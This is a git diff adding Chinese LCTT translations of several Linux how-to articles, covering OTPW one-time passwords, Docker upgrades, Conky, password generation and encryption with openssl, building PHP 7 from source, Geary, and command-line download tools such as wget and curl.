12 8 + --------------- + 218tYRZc%PIY27a + 241ve8ns%NsHFmf + 055W4/YCauQJkr: + 102ZnJ4VWLFrk5N + 2273Xww55hteJ8Y + 1509d4b5=A64jBT + 168FWBXY%ztm9j% + 000rWUSdBYr%8UE + 037NvyryzcI+YRX + 122rEwA3GXvOk=z + +### 总结 ### + +在这个教程中,我介绍了如何使用 OTPW 工具来设置一次性登录密码。你也许意识到了在这种双因子的认证方式中,打印一张密码表让人感觉好 low,但是这种方式是最简单的,并且不用依赖任何第三方软件。无论你用哪种方式创建一次性密码,在你需要在一个不可信任的环境登录 SSH 服务器的时候,它们都很有用。你可以就这个主题来分享你的经验和观点。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/secure-ssh-login-one-time-passwords-linux.html + +作者:[Dan Nanni][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://linux.cn/article-5444-1.html +[2]:https://linux.cn/article-2642-1.html +[3]:http://www.cl.cam.ac.uk/~mgk25/otpw.html diff --git a/published/201505/20150330 Linux FAQs with Answers--How to upgrade Docker on Ubuntu.md b/published/201505/20150330 Linux FAQs with Answers--How to upgrade Docker on Ubuntu.md new file mode 100644 index 0000000000..ad9ed38d09 --- /dev/null +++ b/published/201505/20150330 Linux FAQs with Answers--How to upgrade Docker on Ubuntu.md @@ -0,0 +1,35 @@ +Linux有问必答:如何在Ubuntu中升级Docker +================================================================================ +> **提问**: 我使用了Ubuntu的标准仓库安装了Docker。然而,默认安装的Docker不能满足我另外一个依赖Docker程序的版本需要。我该如何在Ubuntu中升级到Docker的最新版本? + +Docker第一次在2013年发布,它快速地演变成了一个针对分布式程序的开发平台。为了满足工业期望,Docker正在紧密地开发并持续地带来新特性的升级。这样Ubuntu发行版中的Docker版本可能很快就会过时。比如, Ubuntu 14.10 Utopic 中的Docker版本是1.2.0, 然而最新的Docker版本是1.6.0。 + +![](https://farm9.staticflickr.com/8730/16351300024_9acb9086da_b.jpg) + +对于那些想要跟随Docker的最新开发的人而言,Canonical为Docker维护了一个独立的PPA。使用这个PPA仓库,你可以很容易地在Ubuntu上升级到最新的Docker版本。 + +下面是如何设置Docker的PPA和升级Docker。 + + $ sudo add-apt-repository ppa:docker-maint/testing + $ sudo apt-get update + $ sudo apt-get install docker.io + +检查安装的Docker版本: + + $ docker --version + +---------- + + Docker version 1.5.0-dev, build a78ce5c + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/upgrade-docker-ubuntu.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201505/20150331 Conky--The Ultimate X Based System Monitor Application.md b/published/201505/20150331 Conky--The Ultimate X Based System Monitor Application.md new file mode 100644 index 0000000000..fb90f58168 --- /dev/null +++ b/published/201505/20150331 Conky--The Ultimate X Based System Monitor Application.md @@ -0,0 +1,151 @@ +Conky - 终极的 X 视窗系统监视器应用 +================================================================================ +Conky 是一个用 ‘C’ 语言写就的系统监视器,并在 GNU GPL 和 BSD 许可协议下发布,在 Linux 和 BSD 操作系统中都可以获取到它。这个应用是基于 X 视窗系统的,原本由 [Torsmo][1] 分支而来。 + +#### 特点 #### + +- 简洁的用户界面; +- 高度可配置; +- 它既可使用内置的部件(超过 300 多个) 也可使用外部脚本,来在桌面或其自有容器中展示系统的状态; +- 低资源消耗; +- 它可显示范围广泛的系统参数,包括但不限于 CPU,内存,swap 分区 ,温度,进程,磁盘使用情况,网络状态,电池电量,邮件收发,系统消息,音乐播放器的控制,天气信息,最新新闻,升级信息等等; +- 在许多操作系统中如 CrunchBang Linux 和 Pinguy OS 被默认安装; + +#### 关于 Conky 的少有人知的事实 #### + +- conky 这个名称来自于一个加拿大电视节目; +- 它已被移植到 Nokia N900 上; +- 官方已经不再维护它了; + +### 在 Linux 中 Conky 的安装和使用 ### + +在我们安装 conky 之前,我们需要使用下面的命令来安装诸如 `lm-sensors`, `curl` 和 `hddtemp` 之类的软件包: + + # apt-get install lm-sensors curl hddtemp + +然后是检测传感器: + + # sensors-detect + +**注**: 在被系统提示时,回答 ‘Yes’ 。 + +检测所有探测到的传感器: + + # sensors + +#### 样例输出 #### + + acpitz-virtual-0 + Adapter: Virtual device + temp1: +49.5°C (crit = +99.0°C) + + coretemp-isa-0000 + Adapter: ISA adapter + Physical id 0: +49.0°C (high = +100.0°C, crit = +100.0°C) + Core 0: +49.0°C (high = +100.0°C, crit = +100.0°C) + Core 1: +49.0°C (high = +100.0°C, crit = +100.0°C) + +Conky 既可以从软件仓库中安装,也可从源代码编译得到: + + # yum install conky [在 RedHat 系的系统上] + # apt-get install conky-all [在 Debian 系的系统上] + +**注**: 在 Fedora/CentOS 上安装 conky 之前,你必须启用 [EPEL 软件仓库][2]。 + +在安装完 conky 之后,只需输入如下命令来开启它: + + $ conky & + +![正在运行的 Conky 监视器](http://www.tecmint.com/wp-content/uploads/2015/03/Start-Conkey.jpeg) + +*正在运行的 Conky 监视器* + +这使得 conky 以一个弹窗的形式运行,并使用位于 `/etc/conky/conky.conf` 的 conky 基本配置文件。 + +你可能想将 conky 集成到桌面上,并不想让它每次以弹窗的形式出现,下面就是你需要做的: + +将配置文件 `/etc/conky/conky.conf` 复制到你的家目录中,并将它重命名为 `.conkyrc`,开头的点号 (.) 是为了确保这个配置文件是隐藏的。 + + $ cp /etc/conky/conky.conf /home/$USER/.conkyrc + +现在重启 conky 来应用新的更改: + + $ killall -SIGUSR1 conky + +![Conky 监视器窗口](http://www.tecmint.com/wp-content/uploads/2015/03/Restart-Conky.jpeg) + +*Conky 监视器窗口* + +你可能想编辑位于你的家目录的 conky 的配置文件,这个配置文件的内容是非常容易理解的。 + +下面是 conky 配置文件的一个样例: + +![Conky 的配置](http://www.tecmint.com/wp-content/uploads/2015/03/Conky-Configuration.jpeg) + +*Conky 的配置* + +从上面的窗口中,你可以更改颜色,边框,大小,缩放比例,背景,对齐方式及几个其他属性。通过为不同的 conky 窗口设定不同的对齐方式,我们可以同时运行几个 conky 脚本。 + +**让 conky 使用其它脚本而不是默认配置,以及如何找到这些脚本?** + +你可以编写你自己的 conky 脚本或使用来自于互联网的脚本;我们并不建议你使用从互联网中找到的具有潜在危险的任何脚本,除非你清楚你正在做什么。然而,有一些著名的主题和网页包含可信赖的 conky 脚本,例如下面所提及的: + +- [http://ubuntuforums.org/showthread.php?t=281865][3] +- [http://conky.sourceforge.net/screenshots.html][4] + +在上面的 URL 地址中,你将发现其中每个截图都有一个超链接,它们将指向到脚本文件。 + +#### 测试 Conky 脚本 #### + +这里我将在我的 Debian Jessie 系统中运行一个由第三方写的 conky 脚本,以此来进行测试: + + $ wget https://github.com/alexbel/conky/archive/master.zip + $ unzip master.zip + +切换当前工作目录到刚才解压的目录: + + $ cd conky-master + +将 `secrets.yml.example` 重命名为 `secrets.yml`: + + $ mv secrets.yml.example secrets.yml + +在你需要运行这个(ruby)脚本之前安装 Ruby: + + $ sudo apt-get install ruby + $ ruby starter.rb + +![华丽的 conky 外观](http://www.tecmint.com/wp-content/uploads/2015/03/Conky-Fancy-Look.jpeg) + +*华丽的 conky 外观* + +**注**: 可以修改这个脚本以展示你当前的天气,温度等; + +假如你想让 conky 开机自启,请在开机启动应用设置(startup Applications) 中添加如下的几行命令: + + conky --pause 10 + save and exit. + +最后,如此轻量级且吸引眼球的实用 GUI 软件包不再处于活跃状态且官方不再进行维护了。最新的稳定发布版本为 conky 1.9.0, 于 2012 年 5 月 3 号发布。在 Ubuntu 论坛上,一个有关用户分享 conky 配置的主题已经超过了 2000 多页。(这个论坛主题的链接为: [http://ubuntuforums.org/showthread.php?t=281865/][5]) + +- [Conky 主页][6] + +这就是全部内容了。保持联系,保持评论。请在下面的评论框里分享你的想法和配置。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-conky-in-ubuntu-debian-fedora/ + +作者:[Avishek Kumar][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://torsmo.sourceforge.net/ +[2]:https://linux.cn/article-2324-1.html +[3]:http://ubuntuforums.org/showthread.php?t=281865 +[4]:http://conky.sourceforge.net/screenshots.html +[5]:http://ubuntuforums.org/showthread.php?t=281865/ +[6]:http://conky.sourceforge.net/ diff --git a/published/201505/20150331 How to Generate or Encrypt or Decrypt Random Passwords in Linux.md b/published/201505/20150331 How to Generate or Encrypt or Decrypt Random Passwords in Linux.md new file mode 100644 index 0000000000..b4023b5162 --- /dev/null +++ b/published/201505/20150331 How to Generate or Encrypt or Decrypt Random Passwords in Linux.md @@ -0,0 +1,109 @@ +如何在 Linux 中产生、加密或解密随机密码 +================================================================================ +我们一直积极地提供有关 Linux 技巧的系列文章,如果你错过了这个系列的最新文章,你或许可以去访问下面的链接。 + +- [Linux 中 5 个有趣的命令行技巧][1] + +在这篇文章中,我们将分享一些有趣 Linux 技巧,内容是有关如何产生随机密码以及加密或解密这些经过加盐或没有加盐处理的密码。 + +安全是数字时代中的一个主要话题。在电脑,email,云端,手机,文档和其他的场合中,我们都会使用到密码。众所周知,选择密码的基本原则是 “易记,难猜”。考虑过使用基于机器自动生成的密码吗?相信我,Linux 非常擅长这方面的工作。 + +**1. 使用命令 `pwgen` 来生成一个长度为 10 个字符的独特的随机密码。假如你还没有安装 pwgen,请使用 Apt 或 YUM 等包管理器来安装它。** + + $ pwgen 10 1 + +![生成一个独特的随机密码](http://www.tecmint.com/wp-content/uploads/2015/03/Generate-Random-Unique-Password-in-Linux.gif) + +*生成一个独特的随机密码* + +一口气生成若干组长度为 50 个字符的唯一的随机密码! + + $ pwgen 50 + +![生成多组随机密码](http://www.tecmint.com/wp-content/uploads/2015/03/Generate-Multiple-Random-Passwords.gif) + +*生成多组随机密码* + +**2. 你还可以使用 `makepasswd` 来每次生成一个给定长度的独特的随机密码。在你把玩 makepasswd 命令之前,请确保你已经安装了它。如若没有安装它,试试使用 Apt 或 YUM 包管理器来安装 `makepasswd`这个软件包。** + +生成一个长度为 10 个字符的随机密码。该命令产生的密码的长度默认为 10。 + + $ makepasswd + +![使用 makepasswd 生成独特的密码](http://www.tecmint.com/wp-content/uploads/2015/03/mkpasswd-generate-unique-password.gif) + +*使用 makepasswd 生成独特的密码* + +生成一个长度为 50 个字符的随机密码。 + + $ makepasswd --char 50 + +![生成长度为 50 的密码](http://www.tecmint.com/wp-content/uploads/2015/03/Random-Password-Generate.gif) + +*生成长度为 50 的密码* + +生成 7 个长度为 20 个字符的随机密码。 + + $ makepasswd --char 20 --count 7 + +![](http://www.tecmint.com/wp-content/uploads/2015/03/Generate-20-Character-Password.gif) + +**3. 使用带“盐”的 Crypt(注:这里应该指的是一个函数,可以参考[这里](http://man7.org/linux/man-pages/man3/crypt.3.html) ) 来加密一个密码。提供手动或自动添加 “盐”。** + +对于那些不清楚 **盐** 的意义的人,这里的 “盐” 指的是一个随机数据,它作为密码生成函数的一个额外的输入, 目的是保护密码免受词典攻击。 + +在执行下面的操作前,请确保你已经安装了 `mkpasswd`。 + +下面的命令将带 “盐” 加密一个密码。“盐” 的值是随机自动生成的。所以每次你运行下面的命令时,都将产生不同的输出,因为它每次接受了随机取值的 “盐”。 + + $ mkpasswd tecmint + +![使用 Crypt 来加密密码](http://www.tecmint.com/wp-content/uploads/2015/03/Encrypt-Password-in-Linux.gif) + +*使用 Crypt 来加密密码* + +现在让我们来手动定义 “盐” 的值。每次它将产生相同的结果。请注意你可以输入任何你想输入的值来作为 “盐” 的值。 + + $ mkpasswd tecmint -s tt + +![带“盐”加密密码](http://www.tecmint.com/wp-content/uploads/2015/03/Encrypt-Password-Using-Salt.gif) + +*带“盐”加密密码* + +另外, mkpasswd 还是交互式的,假如你在命令中没有提供密码,它将主动询问你来输入密码。 + +**4. 使用 aes-256-cbc 加密算法并使用带“盐”的密码(如 “tecmint”) 加密一个字符串(如 “Tecmint-is-a-Linux-Community”)。** + + # echo Tecmint-is-a-Linux-Community | openssl enc -aes-256-cbc -a -salt -pass pass:tecmint + +![在 Linux 中加密一个字符串](http://www.tecmint.com/wp-content/uploads/2015/03/Encrypt-A-String-in-Linux.gif) + +*在 Linux 中加密一个字符串* + +在上面例子中, [echo 命令][2]的输出通过管道传递给了 openssl 命令,使得该输出通过加密编码方式(enc:Encoding with Cipher ) 所加密,这个过程中使用了 aes-256-cbc 加密算法,并附带了密码 (tecmint) 和 “盐” 。 + +**5. 使用 openssl 命令的 -aes-256-cbc 解密选项来解密上面的字符串。** + + # echo U2FsdGVkX18Zgoc+dfAdpIK58JbcEYFdJBPMINU91DKPeVVrU2k9oXWsgpvpdO/Z | openssl enc -aes-256-cbc -a -d -salt -pass pass:tecmint + +![在 Linux 中解密字符串](http://www.tecmint.com/wp-content/uploads/2015/03/Decrypt-String-in-Linux.gif) + +*在 Linux 中解密字符串* + +现在就是这些内容了。 + +保持联系,保持连接,敬请关注。不要忘了在下面的评论中提供给我们您有价值的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/generate-encrypt-decrypt-random-passwords-in-linux/ + +作者:[Avishek Kumar][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5485-1.html +[2]:http://linux.cn/article-3948-1.html \ No newline at end of file diff --git a/published/201505/20150331 Its Now Worth Try Installing PHP 7.0 on CentOS 7.x or Fedora 21.md b/published/201505/20150331 Its Now Worth Try Installing PHP 7.0 on CentOS 7.x or Fedora 21.md new file mode 100644 index 0000000000..2d059a4930 --- /dev/null +++ b/published/201505/20150331 Its Now Worth Try Installing PHP 7.0 on CentOS 7.x or Fedora 21.md @@ -0,0 +1,323 @@ +在CentOS 7.x / Fedora 21 上面体验 PHP 7.0 +=============================================================================== + +PHP是一种为我们熟知的通用服务器网页脚本语言。非常多的在线网站都是用PHP编写的。PHP这些年来一直在持续进化,丰富其功能,变得易于使用,更好地组织的脚本语言。目前PHP的开发团队正筹备下一个PHP版本的发行,名字是PHP 7。现在的PHP版本为PHP 5.6,可能你清楚PHP 6已经流产了,PHP 7的支持者们不希望下一个重要的版本被其他分支混淆,即过去已经停止很久的PHP 6。所以决定下一个PHP主要的发行版本叫PHP 7,而不是PHP 6。PHP 7.0预计在今年十一月份发行。 + +在下一代主要PHP版本里有一些不错的功能: + +- 为了改善执行效率与内存占用,新的版本添加了PHPNG功能。 +- 引入了JIT引擎来动态编译Zend操作码为自然机器码,以此来达到更快的处理性能。这项功能允许随后的程序调用同一份代码,这样会运行快很多。 +- AST(抽象语法树)是最新添加的功能,它可以增强支持PHP的扩展性和用户应用。 +- 添加异步编程功能以支持同一个请求中的并行任务。 +- 新的版本会支持独立的多线程网页服务器,这样可以使用一个单独的存储池处理很多并发的请求。 + +### 在CentOS/Fedora上安装PHP 7 ### + +让我们来看看怎样在CentOS 7和Fedora 21安装PHP7。为了安装PHP7,我们首先需要克隆php-src 仓库。当克隆工作完成,我们再配置和编译它。进行下一步之前,我们要确保已经在LInux系统下安装了如下的组件,否则PHP编译会返回错误中止。 + +- Git +- autoconf +- gcc +- bison + +所有上面提到的要求可以使用Yum软件包管理器安装。以下一条命令即可完成: + + yum install git autoconf gcc bison + +准备好开始安装PHP7了吗?让我们先创建一个PHP7目录,作为你的当前工作目录。 + + mkdir php7 + + cd php7 + +现在克隆php-src仓库,在终端里运行下面的命令。 + + git clone https://git.php.net/repository/php-src.git + +工作应该会在几分钟后完成,这里是一个样例输出,你应该会在任务完成时看见。 + + [root@localhost php7]# git clone https://git.php.net/repository/php-src.git + + Cloning into 'php-src'... + + remote: Counting objects: 615064, done. + + remote: Compressing objects: 100% (127800/127800), done. + + remote: Total 615064 (delta 492063), reused 608718 (delta 485944) + + Receiving objects: 100% (615064/615064), 152.32 MiB | 16.97 MiB/s, done. + + Resolving deltas: 100% (492063/492063), done. + +让我们来配置,编译PHP7,在终端运行下面的命令,开始配置工作: + + cd php-src + + ./buildconf + +下面是./buildconf命令的样例输出。 + + [root@localhost php-src]# ./buildconf + + buildconf: checking installation... + + buildconf: autoconf version 2.69 (ok) + + rebuilding aclocal.m4 + + rebuilding configure + + rebuilding main/php_config.h.in + +使用下面的命令,继续配置进程: + + ./configure \ + + --prefix=$HOME/php7/usr \ + + --with-config-file-path=$HOME/php7/usr/etc \ + + --enable-mbstring \ + + --enable-zip \ + + --enable-bcmath \ + + --enable-pcntl \ + + --enable-ftp \ + + --enable-exif \ + + --enable-calendar \ + + --enable-sysvmsg \ + + --enable-sysvsem \ + + --enable-sysvshm \ + + --enable-wddx \ + + --with-curl \ + + --with-mcrypt \ + + --with-iconv \ + + --with-gmp \ + + --with-pspell \ + + --with-gd \ + + --with-jpeg-dir=/usr \ + + --with-png-dir=/usr \ + + --with-zlib-dir=/usr \ + + --with-xpm-dir=/usr \ + + --with-freetype-dir=/usr \ + + --with-t1lib=/usr \ + + --enable-gd-native-ttf \ + + --enable-gd-jis-conv \ + + --with-openssl \ + + --with-mysql=/usr \ + + --with-pdo-mysql=/usr \ + + --with-gettext=/usr \ + + --with-zlib=/usr \ + + --with-bz2=/usr \ + + --with-recode=/usr \ + + --with-mysqli=/usr/bin/mysql_config + +这会花去不少的时间,当完成后你应该会看到如下面的输出: + + creating libtool + + appending configuration tag "CXX" to libtool + + Generating files + + configure: creating ./config.status + + creating main/internal_functions.c + + creating main/internal_functions_cli.c + + +--------------------------------------------------------------------+ + + | License: | + + | This software is subject to the PHP License, available in this | + + | distribution in the file LICENSE. By continuing this installation | + + | process, you are bound by the terms of this license agreement. | + + | If you do not agree with the terms of this license, you must abort | + + | the installation process at this point. | + + +--------------------------------------------------------------------+ + + + + Thank you for using PHP. + + + + config.status: creating php7.spec + + config.status: creating main/build-defs.h + + config.status: creating scripts/phpize + + config.status: creating scripts/man1/phpize.1 + + config.status: creating scripts/php-config + + config.status: creating scripts/man1/php-config.1 + + config.status: creating sapi/cli/php.1 + + config.status: creating sapi/cgi/php-cgi.1 + + config.status: creating ext/phar/phar.1 + + config.status: creating ext/phar/phar.phar.1 + + config.status: creating main/php_config.h + + config.status: executing default commands + + +运行下面的命令,完成编译过程。 + + make + +“make”命令的样例输出如下所示: + + Generating phar.php + + Generating phar.phar + + PEAR package PHP_Archive not installed: generated phar will require PHP's phar extension be enabled. + + clicommand.inc + + directorytreeiterator.inc + + directorygraphiterator.inc + + pharcommand.inc + + invertedregexiterator.inc + + phar.inc + + + + Build complete. + + Don't forget to run 'make test'. + +活儿干完了,该安装PHP7了,运行下面的命令安装它。 + + make install + +成功安装的进程的样例输出应该像这样: + + [root@localhost php-src]# make install + + Installing shared extensions: /root/php7/usr/lib/php/extensions/no-debug-non-zts-20141001/ + + Installing PHP CLI binary: /root/php7/usr/bin/ + + Installing PHP CLI man page: /root/php7/usr/php/man/man1/ + + Installing PHP CGI binary: /root/php7/usr/bin/ + + Installing PHP CGI man page: /root/php7/usr/php/man/man1/ + + Installing build environment: /root/php7/usr/lib/php/build/ + + Installing header files: /root/php7/usr/include/php/ + + Installing helper programs: /root/php7/usr/bin/ + + program: phpize + + program: php-config + + Installing man pages: /root/php7/usr/php/man/man1/ + + page: phpize.1 + + page: php-config.1 + + Installing PEAR environment: /root/php7/usr/lib/php/ + + [PEAR] Archive_Tar - installed: 1.3.13 + + [PEAR] Console_Getopt - installed: 1.3.1 + + [PEAR] Structures_Graph- installed: 1.0.4 + + [PEAR] XML_Util - installed: 1.2.3 + + [PEAR] PEAR - installed: 1.9.5 + + Wrote PEAR system config file at: /root/php7/usr/etc/pear.conf + + You may want to add: /root/php7/usr/lib/php to your php.ini include_path + + /root/php7/php-src/build/shtool install -c ext/phar/phar.phar /root/php7/usr/bin + + ln -s -f /root/php7/usr/bin/phar.phar /root/php7/usr/bin/phar + + Installing PDO headers: /root/php7/usr/include/php/ext/pdo/ + +恭喜你,PHP7已经安装在你的Linux系统上了。安装完后,进入PHP7安装文件里的sapi/cli里面。 + + cd sapi/cli + +验证一下PHP的版本。 + + [root@localhost cli]# ./php -v + + PHP 7.0.0-dev (cli) (built: Mar 28 2015 00:54:11) + + Copyright (c) 1997-2015 The PHP Group + + Zend Engine v3.0.0-dev, Copyright (c) 1998-2015 Zend Technologies + +### 总结 ### + +PHP 7也[添加到了remi仓库][1],这个即将到来的版本主要关注执行效率的提升,它的新特性致力于使PHP较好满足现代编程的需求和趋势。PHP 7.0将会有许多新的特性、丢弃一些老版本的东西。在接下来的日子里,我们希望看到新特性和弃用功能的具体情况。希望你喜欢! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/install-php-7-centos-7-fedora-21/ + +作者:[Aun Raza][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:http://blog.famillecollet.com/post/2015/03/25/PHP-7.0-as-Software-Collection diff --git a/published/201505/20150331 Linux Email App Geary Updated--How To Install It In Ubuntu.md b/published/201505/20150331 Linux Email App Geary Updated--How To Install It In Ubuntu.md new file mode 100644 index 0000000000..da976c42d0 --- /dev/null +++ b/published/201505/20150331 Linux Email App Geary Updated--How To Install It In Ubuntu.md @@ -0,0 +1,71 @@ +Linux Email应用 Geary 更新了 +================================================================================ +**Geary,Linux上流行的桌面email客户端,更新到版本0.10了 — 并且有了很多新的功能。** + +![elementary OS上运行的旧版本的Geary](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/geary.jpg) + +*elementary OS上运行的旧版本的Geary* + +Geary 0.10有一些不错的用户界面改进以及额外的UI功能,包括: + +- 新增: 可以撤销归档、删除以及移动等操作 +- 新增: 在2列或者2列布局之间切换 +- 新的 “split header bar” — 改进邮件列表,发件人布局 +- 新的快捷键 — 使用j/k切换到上/下一封邮件 + +根据Yorba介绍,这次更新还引入了一个**全新的全文检索算法** ,用来改进Geary的搜索体验。 + +这个更新应该能平息一下对该应用的搜索能力的抱怨:Geary返回的搜索结果就如同软件自己所宣称的“看起来和查询语句毫不相关”。 + +> ‘Yorba 建议所有这个软件客户端的用户升级到这个版本’ + +*“尽管并不是所有的搜索问题在0.10版本中都解决了,但Geary能确保显示的结果能和更好的匹配用户的查询,”[团队表示][1]。* + +最后同样重要的是,专业用户会喜欢的主要功能:**支持一个账户有多个或者备用的email地址**。 + +如果你在Geary中设置Gmail账户来收取你的Yahoo,Outlook和KittyMail信件,你可以看到现在它们都整齐地放在一起,当你写信时在'From'栏你可以选择指定账户作为发送人。这并不是最重要,但是却是最经常被人要求的的功能。 + +这个流行的Linux电子邮件客户端的这次发布主要是bug修复,性能优化以及一些杂项改进。 + +Yorba建议所有这个客户端的用户都升级到这个发行版。 + +### 在Ubuntu 14.04, 14.10 & 15.04安装Geary 0.10 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/geary-inline-composor.jpg) + +Yorba的最新版本可以从GNOME的Git账户下载可编译的源代码。但说实话:这不是有点麻烦吗? + +Ubuntu用户想知道如何在 **14.04,14.10** 以及 **15.04**(那些更新爱好者) 上安装Geary 0.10。 + +官方的Youba PPA包括了 **Geary 最新版本** 以及Shotwell(照片管理器)和[California][2](日历应用)。请注意添加这个PPA会使你电脑上任何已经安装的这些应用更新到最近的版本。 + +Capiche? Coolio. + +在Ubuntu上安装Geary你首先需要添加Yorba PPA和你的软件源。做这些你只需要打开终端窗口并小心地输入下面的两条命令: + + sudo add-apt-repository ppa:yorba/ppa + + sudo apt-get update && sudo apt-get install geary + +在输入最后一条命令并敲击回车键后会提示输入你的密码。输入密码让安装完成。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/20130320161830-geary-yorba.png) + +完成后,打开你的桌面环境应用启动面板并查找‘Geary’图标。点击它,添加你的账户并查看[通过信息高速公路下载了什么][3],开始使用简单的图形界面吧。 + +**别忘记:你可以通过电子邮件告诉我们你想看的新闻,应用建议,以及任何你想我们包括的东西。** + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/03/install-geary-ubuntu-linux-email-update + +作者:[Joey-Elijah Sneddon][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://wiki.gnome.org/Apps/Geary/FullTextSearchStrategy +[2]:http://www.omgubuntu.co.uk/2014/10/california-calendar-natural-language-parser +[3]:https://www.youtube.com/watch?v=rxM8C71GB8w \ No newline at end of file diff --git a/published/201505/20150407 5 Linux Command Line Based Tools for Downloading Files and Browsing Websites.md b/published/201505/20150407 5 Linux Command Line Based Tools for Downloading Files and Browsing Websites.md new file mode 100644 index 0000000000..4e6f6f83d0 --- /dev/null +++ b/published/201505/20150407 5 Linux Command Line Based Tools for Downloading Files and Browsing Websites.md @@ -0,0 +1,164 @@ +5 个基于Linux命令行的文件下载和网站浏览工具 +================================================================================ + +Linux命令行是GNU/Linux中最神奇迷人的部分,它是非常强大的工具。命令行本身功能多样,多种内建或者第三方的命令行应用使得Linux变得更加健壮和强大。Linux Shell支持多种不同类型的网络应用,无论是BT下载软件,专用下载器或者互联网冲浪。 + +![命令行互联网工具](http://www.tecmint.com/wp-content/uploads/2014/02/Command-Line-Internet-Tools.jpg) + +*5个命令行互联网工具* + +这里我们介绍了5个很好的命令行互联网工具,它们非常有用,也很容易上手。 + +### 1. rTorrent ### + +rTorrent是基于文本,用C++编写,追求高性能的Torrent客户端。支持大部分标准的Linux发行版,包括FreeBSD和Mac OS X。 + +#### 安装rTorrent #### + + # apt­-get install rtorrent (基于 APT 的系统) + +---------- + + # yum install rtorrent (基于 YUM 的系统) + +在终端中用下面的命令检查rtorrent是否正确安装 + + # rtorrent + +![命令行torrent下载器](http://www.tecmint.com/wp-content/uploads/2014/02/rTorrent.jpeg) + +*rTorrent命令行工具* + +#### rTorrent的功能 #### + +一些有用的快捷键和使用方法 + +- CTRL+ q – 退出rTorrent应用程序 +- CTRL+ s – 开始下载 +- CTRL+ d – 停止运行中的下载或者移除已完成的下载 +- CTRL+ k – 停止并关闭运行中的下载 +- CTRL+ r – 在上传/下载种子之前进行Hash检查 +- CTRL+ q – 执行两次这个命令,rTorrent会直接退出而不发送“停止”信号 +- Left Arrow Key – 跳到上一屏幕 +- Right Arrow Key – 跳到下一屏幕 + +### 2. Wget ### + +Wget是GNU项目的一部分,名字由World Wide Web (WWW)衍生而来。Wget是用来递归下载、离线查看本地服务器HTML文件一个很好的工具,它可用于Windows, Mac,以及Linux等大部分平台。Wget能通过HTTP,HTTPS和FTP下载文件。另外,能镜像整个网站,支持代理浏览以及暂停/回复下载使得它更为有用。 + +#### 安装Wget #### + +由于是GNU项目的一部分,Wget捆绑在大部分标准Linux发行版中,不再需要独立下载安装。如果默认没有安装,你也可以使用apt或者yum安装。 + + # apt­-get install wget (基于 APT 的系统) + +---------- + + # yum install wget (基于 YUM 的系统) + +#### Wget的一些基本用法 #### + +使用wget下载一个单独的文件. + + # wget http://www.website-name.com/file + +递归下载整个网站. + + # wget -r http://www.website-name.com + +从一个网站下载指定类型的文件(例如 pdf 和 png). + + # wget -r -A png,pdf http://www.website-name.com + +Wget是一个很棒的工具,它允许在资源有限的机器上自定义或者过滤下载。这是镜像一个网站(Yahoo.com)的wget下载截图。 + +![Wget 下载文件](http://www.tecmint.com/wp-content/uploads/2014/02/Wget.jpeg) + +*Wget 命令行文件下载* + +要获取更多wget下载的例子,可以阅读我们的文章[Wget下载命令例子][1]。 + +### 3. cURL ### + +cURL是在多种协议上传输数据的命令行工具。cURL是支持FTP, HTTP, FTPS, TFTP, TELNET, IMAP, POP3等协议的客户端应用。cURL是一个不同于wget 的简单下载器,和其它的相比,它支持LDAP,POP3。cURL也很好的支持代理下载,暂停下载以及恢复下载。 + +#### 安装cURL #### + +在软件仓库或者已安装软件中,cURL在大部分发行版中默认是可用的。如果没有安装,运行apt或者yum从软件仓库中获取需要的安装包。 + + # apt­-get install curl (基于 APT 的系统) + +---------- + + # yum install curl (基于 YUM 的系统) + +cURL的基本使用方法 + + # curl www.tecmint.com + +![Curl 下载](http://www.tecmint.com/wp-content/uploads/2014/02/Curl.jpeg) + +*Curl 下载* + +![Curl 下载数据](http://www.tecmint.com/wp-content/uploads/2014/02/Curl-2.jpeg) + +*Curl 下载* + +### 4. w3m ### + +W3m是GPL协议下发布的基于文本的web浏览器。W3m支持表格,帧,颜色,SSL连接以及内联图像。W3m以快速浏览而出名。 + +#### 安装w3m #### + +W3m在大部分Linux发行版中也是默认可用的。如果不可用的话可以用apt或者yum获取需要的安装包。 + + # apt­-get install w3m (基于 APT 的系统) + +---------- + + # yum install w3m (基于 YUM 的系统) + +#### w3m的基本使用方法 #### + + # w3m www.tecmint.com + +![命令行浏览器](http://www.tecmint.com/wp-content/uploads/2014/02/w3m.jpeg) + +*基于文本的web浏览器w3m* + +### 5. Elinks ### + 